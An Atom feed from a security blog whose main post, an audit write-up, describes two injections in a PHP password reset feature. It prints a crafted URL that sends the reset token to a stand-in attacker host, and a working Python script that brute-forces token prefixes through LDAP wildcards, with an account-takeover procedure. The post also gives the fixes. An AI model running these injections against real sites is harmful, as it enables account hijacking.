<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en_US"><generator uri="https://jekyllrb.com/" version="3.8.7">Jekyll</generator><link href="https://hen.ne.ke/feed.xml" rel="self" type="application/atom+xml" /><link href="https://hen.ne.ke/" rel="alternate" type="text/html" hreflang="en_US" /><updated>2022-11-10T20:06:48+00:00</updated><id>https://hen.ne.ke/feed.xml</id><title type="html">Fabian Henneke</title><subtitle>Math grad student &amp; IT security enthusiast</subtitle><author><name>{&quot;twitter&quot;=&gt;&quot;fhenneke&quot;}</name></author><entry><title type="html">Two Unusual Injections Related to Password Reset Mails</title><link href="https://hen.ne.ke/2018/12/19/Two-Unusual-Injections-Related-to-Password-Reset-Mails/" rel="alternate" type="text/html" title="Two Unusual Injections Related to Password Reset Mails" /><published>2018-12-19T09:00:00+00:00</published><updated>2018-12-19T09:00:00+00:00</updated><id>https://hen.ne.ke/2018/12/19/Two-Unusual-Injections-Related-to-Password-Reset-Mails</id><content type="html" xml:base="https://hen.ne.ke/2018/12/19/Two-Unusual-Injections-Related-to-Password-Reset-Mails/">&lt;p&gt;During a recent source code audit of a PHP application, I identified two slightly unusual injection points. Both of them occurred in the password reset functionality, which in this case allowed a user to request a password reset token be sent to their private email address. In the following, I want to describe how I exploited these injection points. Along the way, we will also encounter two famous problems in elementary stochastics.&lt;/p&gt;

&lt;h2 id=&quot;plaintext-link-injection-in-password-reset-email&quot;&gt;Plaintext Link Injection in Password Reset Email&lt;/h2&gt;

&lt;p&gt;The password reset script, which we will assume is called &lt;code class=&quot;highlighter-rouge&quot;&gt;pwreset.php&lt;/code&gt; from now on, behaves differently depending on the way it is called. If requested via the GET method without a &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; parameter, it serves a form with a CAPTCHA that can be used to request a password reset token for a given username. The token is sent to the private email the respective user supplies in their account settings.&lt;/p&gt;

&lt;p&gt;The email with the token consists of some explanatory text containing a link that may look as follows, with the token consisting of 64 random characters:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://example.com/path/to/pwreset.php?&amp;amp;token=gZ6akp95...1tChGQ8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;When this link is accessed, the GET parameter &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; is extracted into a session variable and the user is served a form asking for a username and new password. If the username matches the one stored with the token, the new password is set for that account.&lt;/p&gt;

&lt;p&gt;On the server, the link above is generated in the following way:&lt;/p&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'SERVER_NAME'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$_SERVER&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'REQUEST_URI'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'?&amp;amp;token='&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$token&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$link&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://www.skeletonscribe.net/2013/05/practical-http-host-header-attacks.html&quot;&gt;As is well-documented&lt;/a&gt; &lt;a href=&quot;https://expressionengine.com/blog/http-host-and-server-name-security-issues&quot;&gt;by now&lt;/a&gt;, the &lt;code class=&quot;highlighter-rouge&quot;&gt;HTTP_HOST&lt;/code&gt; variable and its cousin &lt;code class=&quot;highlighter-rouge&quot;&gt;SERVER_NAME&lt;/code&gt; can often be injected into via the HTTP &lt;code class=&quot;highlighter-rouge&quot;&gt;Host&lt;/code&gt; header. Whether this is possible depends on the specific server configuration and can be mitigated by instructing the particular web server to use a &lt;em&gt;canonical&lt;/em&gt; server name.&lt;/p&gt;

&lt;p&gt;In this particular case, the web server was configured correctly, so I turned my attention to &lt;code class=&quot;highlighter-rouge&quot;&gt;REQUEST_URI&lt;/code&gt;, which contains the part of the request immediately following the host, i.e., the path and the query string. Thus, when using the form for requesting a password reset without any tampering, the value would be &lt;code class=&quot;highlighter-rouge&quot;&gt;/path/to/pwreset.php&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I tried to inject various types of characters into both the path and query string: further slashes after the &lt;code class=&quot;highlighter-rouge&quot;&gt;.php&lt;/code&gt;, various brackets, spaces, newline and line feed characters, all of those both in clear and URL-encoded form. It quickly became apparent that the web server could not be tricked into executing &lt;code class=&quot;highlighter-rouge&quot;&gt;pwreset.php&lt;/code&gt; when supplied with a modified path, so injection was only possible in the query string. Since the email was equipped with an explicit &lt;code class=&quot;highlighter-rouge&quot;&gt;Content-Type: text/plain&lt;/code&gt; header, HTML injections were not possible, and neither was it possible to successfully inject a newline or space. So how can we use the injection to trick the user into sending us their password reset token?&lt;/p&gt;

&lt;p&gt;We can actually abuse a feature present in many email clients: Potential URLs in plain-text mails, recognized for example by the &lt;code class=&quot;highlighter-rouge&quot;&gt;https://&lt;/code&gt; prefix, are automatically turned into clickable links. Our aim is to break the single link with the token up into two separate links, one starting with &lt;code class=&quot;highlighter-rouge&quot;&gt;https://example.com/path/to/pwreset.php&lt;/code&gt; and one ending in the token. By injecting into the query string, we want to add a valid host to the second link and then make it look like the correct link for the user to click onto.&lt;/p&gt;

&lt;p&gt;I found that injecting an unencoded angle bracket &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;lt;&lt;/code&gt; suffices to break up a plain-text link in Thunderbird as well as the Gmail web interface and mobile app. Submitting the password reset request form and changing the request URL in transit to read&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://example.com/path/to/pwreset.php?&amp;lt;https://evil.net/log.php?foo=bar
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;would result in the reset email containing a line of the following kind:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://example.com/path/to/pwreset.php?&amp;lt;https://evil.net/log.php?foo=bar?&amp;amp;token=gZ6akp95...1tChGQ8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;This would render as the following two links in the mail clients, separated by &lt;code class=&quot;highlighter-rouge&quot;&gt;?&amp;lt;&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;https://example.com/path/to/pwreset.php
https://evil.net/log.php?foo=bar?&amp;amp;token=gZ6akp95...1tChGQ8
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Clicking on the second link will exfiltrate the token to an attacker-controlled domain since any &lt;code class=&quot;highlighter-rouge&quot;&gt;?&lt;/code&gt; after the first one in a URL will be treated as a literal question mark and thus viewed as part of the value for the &lt;code class=&quot;highlighter-rouge&quot;&gt;foo&lt;/code&gt; parameter by the victim&amp;#8217;s browser. If the victim&amp;#8217;s private email address is known, the unexpected delivery of a password reset mail can potentially be &amp;#8220;explained away&amp;#8221; by the attacker beforehand. All in all, this is a reasonably promising way to get access to a user&amp;#8217;s account.&lt;/p&gt;

&lt;p&gt;If there wasn&amp;#8217;t a much more effective way to hijack the victim&amp;#8217;s account.&lt;/p&gt;

&lt;h2 id=&quot;ldap-injection-in-password-reset-token-filter&quot;&gt;LDAP Injection in Password Reset Token Filter&lt;/h2&gt;

&lt;p&gt;When I continued to read &lt;code class=&quot;highlighter-rouge&quot;&gt;pwreset.php&lt;/code&gt;, I noticed that the application stores the password reset token on an &lt;a href=&quot;https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol&quot;&gt;LDAP&lt;/a&gt; server. For the purpose of this article, it suffices to think of LDAP as a database system that stores entries consisting of lists of plain-text attribute-value pairs in a folder structure. It is then possible to execute search queries (called &lt;em&gt;filters&lt;/em&gt;) that retrieve all entries satisfying a specified set of conditions on certain attributes. Assuming that every entry corresponds to a user and there is an attribute &lt;code class=&quot;highlighter-rouge&quot;&gt;user&lt;/code&gt;, the following LDAP filter would return all users whose username starts with &lt;code class=&quot;highlighter-rouge&quot;&gt;john&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(user=john*)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is possible to combine conditions on multiple attributes with logical &lt;code class=&quot;highlighter-rouge&quot;&gt;and&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;or&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;not&lt;/code&gt; operators, represented by &lt;code class=&quot;highlighter-rouge&quot;&gt;&amp;amp;&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;|&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;!&lt;/code&gt;, respectively. Since the syntax for LDAP filters is based on the &lt;a href=&quot;https://en.wikipedia.org/wiki/Polish_notation&quot;&gt;&lt;em&gt;normal Polish notation&lt;/em&gt;&lt;/a&gt;, logical operators will precede their arguments. As an example, the following filter would return all user entries which are not marked inactive and belong to a user with username ending in &lt;code class=&quot;highlighter-rouge&quot;&gt;doe&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;(&amp;amp;(!state=inactive)(user=*doe))
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Due to the prefix notation for operators, coupled with the fact that every filter appearing after the first in a search query will be ignored by the LDAP server, LDAP filter injections are limited in their capabilities by the first two characters in the query. Even if we were able to inject an arbitrary username suffix instead of the fixed &lt;code class=&quot;highlighter-rouge&quot;&gt;doe&lt;/code&gt; into the query above, we would not be able to change the query type to a logical or, and thus we could only retrieve information on active users. Along the same line, we would not be able to inject further constraints into a simple query like the first one above. More information on the LDAP filter syntax, injection techniques and their limitations can be found in the Black Hat talk &lt;a href=&quot;https://www.blackhat.com/presentations/bh-europe-08/Alonso-Parada/Whitepaper/bh-eu-08-alonso-parada-WP.pdf&quot;&gt;&amp;#8220;LDAP Injection &amp;amp; Blind LDAP Injection&amp;#8221;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Coming back to the password reset form, we should look at how the &lt;code class=&quot;highlighter-rouge&quot;&gt;pwreset.php&lt;/code&gt; script operates when called with a &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; GET parameter:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Check whether &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; appears as the attribute &lt;code class=&quot;highlighter-rouge&quot;&gt;pwtoken&lt;/code&gt; in a unique LDAP entry; if not, serve an error message.&lt;/li&gt;
  &lt;li&gt;Request username and new password from the user.&lt;/li&gt;
  &lt;li&gt;Check whether the unique LDAP entry with password reset token matching &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; has this username; if so, change the password.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Both checks are carried out via the search filter &lt;code class=&quot;highlighter-rouge&quot;&gt;(pwtoken=$token)&lt;/code&gt;, where &lt;code class=&quot;highlighter-rouge&quot;&gt;$token&lt;/code&gt; is replaced with the value of the GET parameter &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt;. The query is clearly injectable, and the most promising attempt to exploit this is to use the wildcard character &lt;code class=&quot;highlighter-rouge&quot;&gt;*&lt;/code&gt; instead of a full-length token. However, since we are limited to a single constraint, we will not be able to guarantee a unique entry in the result set by injecting something like &lt;code class=&quot;highlighter-rouge&quot;&gt;*)(user=thevictim)(&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;But actually exploiting this injection point is not much more difficult: We just have to guess unique password token prefixes. Exploitation was helped by the fact that the &lt;code class=&quot;highlighter-rouge&quot;&gt;pwtoken&lt;/code&gt; attribute was errouneously set to case-insensitive matches on the server-side, which means that the token alphabet is reduced to 36 characters. Armed with this knowledge, I set up a simple Python script that uses depth-first search to find all unique prefixes of password reset tokens in the database by using the error message shown in step 1 as an oracle:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;requests&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sys&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;ALPHABET&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;abcdefghijklmnopqrstuvwxyz0123456789&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;MAX_LENGTH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# TBD
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;is_unique_prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
   &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'Error'&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;requests&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'https://example.com/path/to/pwreset.php?token='&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'*'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;text&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;dfs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;visited&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;MAX_LENGTH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;not&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;visited&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;visited&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;append&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ALPHABET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;flush&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;is_unique_prefix&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;' !!!!!!!!!!!&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;sys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;stdout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                &lt;span class=&quot;n&quot;&gt;dfs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prefix&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;visited&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;dfs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;''&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[])&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The script assumes that all possible prefixes of length one appear in the database, and then appends all possible other characters until it either finds a unique prefix or reaches a certain maximal length &lt;code class=&quot;highlighter-rouge&quot;&gt;MAX_LENGTH&lt;/code&gt;. A stopping criterion is necessary since it may happen that a certain prefix of length one simply does not appear in the database (the expected value of reset tokens necessary for this to not happen is subject of the so-called &lt;a href=&quot;https://en.wikipedia.org/wiki/Coupon_collector%27s_problem&quot;&gt;&lt;em&gt;coupon collector&amp;#8217;s problem&lt;/em&gt;&lt;/a&gt;). The other way round, &lt;code class=&quot;highlighter-rouge&quot;&gt;MAX_LENGTH&lt;/code&gt; should not be chosen too low if one is interested in determining all valid password prefixes. This is simply because with a large number of active password resets, collisions in the first &lt;code class=&quot;highlighter-rouge&quot;&gt;MAX_LENGTH&lt;/code&gt; characters of the reset could be reasonably likely. This again has some mathematics behind it, which you can read up on under the name &lt;a href=&quot;https://en.wikipedia.org/wiki/Birthday_problem&quot;&gt;&lt;em&gt;birthday problem&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;But if the goal is to hijack a particular user&amp;#8217;s account, this is not necessary, and the following procedure will succeed very likely:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Run the script above with &lt;code class=&quot;highlighter-rouge&quot;&gt;MAX_LENGTH=2&lt;/code&gt; and record all unique prefixes.&lt;/li&gt;
  &lt;li&gt;Request a password reset for the victim&amp;#8217;s account.&lt;/li&gt;
  &lt;li&gt;Run the script again with &lt;code class=&quot;highlighter-rouge&quot;&gt;MAX_LENGTH=2&lt;/code&gt; and read off the one (or few, in case there are concurrent password resets) new prefixes.&lt;/li&gt;
  &lt;li&gt;Request &lt;code class=&quot;highlighter-rouge&quot;&gt;pwreset.php&lt;/code&gt; with &lt;code class=&quot;highlighter-rouge&quot;&gt;token&lt;/code&gt; set to the prefix followed by a wildcard &lt;code class=&quot;highlighter-rouge&quot;&gt;*&lt;/code&gt; character to reset the user&amp;#8217;s password.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Even in the unoptimized, sequential form above and running on a single machine, all of this could be carried out within 20 minutes, making this a very practical and dangerous attack.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Both vulnerabilities were easy to fix: For the injection via &lt;code class=&quot;highlighter-rouge&quot;&gt;REQUEST_URI&lt;/code&gt;, a new server variable was introduced in the web server config which only contains the valid path to the &lt;code class=&quot;highlighter-rouge&quot;&gt;pwreset.php&lt;/code&gt;, not the query string. The second injection could have easily been prevented by using PHP&amp;#8217;s own &lt;code class=&quot;highlighter-rouge&quot;&gt;ldap_escape&lt;/code&gt;. The take-home lesson, unsurprisingly, is to always sanitize your inputs, even when injecting into &amp;#8220;low-powered&amp;#8221; contexts such as a plain-text email or a single LDAP filter.&lt;/p&gt;</content><author><name>{&quot;twitter&quot;=&gt;&quot;fhenneke&quot;}</name></author><summary type="html">During a recent source code audit of a PHP application, I identified two slightly unusual injection points. Both of them occurred in the password reset functionality, which in this case allowed a user to request a password reset token be sent to their private email address. In the following, I want to describe how I exploited these injection points. Along the way, we will also encounter two famous problems in elementary stochastics.</summary></entry><entry><title type="html">jekyll-mathjax-csp: Uniting MathJax, Jekyll and a Strict CSP</title><link href="https://hen.ne.ke/2018/02/04/jekyll-mathjax-csp-uniting-mathjax-jekyll-and-a-strict-csp/" rel="alternate" type="text/html" title="jekyll-mathjax-csp: Uniting MathJax, Jekyll and a Strict CSP" /><published>2018-02-04T20:48:00+00:00</published><updated>2018-02-04T20:48:00+00:00</updated><id>https://hen.ne.ke/2018/02/04/jekyll-mathjax-csp-uniting-mathjax-jekyll-and-a-strict-csp</id><content type="html" xml:base="https://hen.ne.ke/2018/02/04/jekyll-mathjax-csp-uniting-mathjax-jekyll-and-a-strict-csp/">&lt;p&gt;In our quest to vanquish the foe that is XSS and for an A+ rating from the &lt;a href=&quot;https://observatory.mozilla.org&quot;&gt;Mozilla Observatory&lt;/a&gt;, today, we will be rendering mathematical formulas in a fast and secure fashion.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; If you want to include math in your Jekyll blog that does neither tax your reader&amp;#8217;s CPUs nor force you to forego a strict CSP, try out my new plugin &lt;a href=&quot;https://github.com/FabianHenneke/jekyll-mathjax-csp/&quot;&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;jekyll-mathjax-csp&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;motivation&quot;&gt;Motivation&lt;/h2&gt;

&lt;p&gt;This blog doubles as my personal testbed for web technologies. My aim is to try out new techniques without compromising on aspects of security. After all, how could I wholeheartedly recommend Content Security Policies, HSTS, usage of SRI and all the other web security features without having them set up on my own site? And even the excuse that this page is statically generated and thus will never be exposed to much harm doesn&amp;#8217;t hold up, as &lt;a href=&quot;https://staticman.net/&quot;&gt;comments&lt;/a&gt;, &lt;a href=&quot;https://hen.ne.ke/lab-list/&quot;&gt;hosted JavaScript experiments&lt;/a&gt; and &lt;a href=&quot;https://hackernoon.com/im-harvesting-credit-card-numbers-and-passwords-from-your-site-here-s-how-9a8cb347c5b5&quot;&gt;potentially malicious dependencies&lt;/a&gt; make for quite some dymanic content on this otherwise static web page.&lt;/p&gt;

&lt;h2 id=&quot;mathjax--beautiful-math-in-all-browsers&quot;&gt;MathJax &amp;#8212; &amp;#8220;Beautiful Math in All Browsers&amp;#8221;&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.mathjax.org/&quot;&gt;MathJax&lt;/a&gt; is a JavaScript library that renders mathematical formulas expressed in TeX (or MathML or ASCIIMath) directly in the user&amp;#8217;s browser. It supports a wide variety of TeX commands, features typography that is (almost as) beautiful as that produced by native (La)TeX and puts effort into making the rendered output accessible.&lt;/p&gt;

&lt;h3 id=&quot;client-side-rendering--its-complicated&quot;&gt;Client-Side Rendering &amp;#8212; &amp;#8220;It&amp;#8217;s complicated&amp;#8221;&lt;/h3&gt;

&lt;p&gt;While MathJax is arguably the gold standard for rendering math on the web, it also has some disadvantages: Since the rendering happens client-side, it causes high CPU load on the user&amp;#8217;s device, which can be overwhelming especially on cheaper mobile clients. At best, it will take a couple of seconds to render a math-heavy page.&lt;/p&gt;

&lt;p&gt;Another potential problem of client-side MathJax rendering is that two of the three supported output formats, SVG and HTML, requires lots of inline &lt;code class=&quot;highlighter-rouge&quot;&gt;style&lt;/code&gt; attributes. As a result, a CSP on a page relying on MathJax necessarily has to include &lt;code class=&quot;highlighter-rouge&quot;&gt;style-src: 'unsafe-inline'&lt;/code&gt;. While being much less dangerous than &lt;code class=&quot;highlighter-rouge&quot;&gt;script-src: 'unsafe-inline'&lt;/code&gt;, this directive is still able to &lt;a href=&quot;https://www.nds.rub.de/media/emma/veroeffentlichungen/2012/08/16/scriptlessAttacks-ccs2012.pdf&quot;&gt;inflict damage&lt;/a&gt;, including but not limited to blatantly defacing, covertly changing and leaking information from a page.&lt;/p&gt;

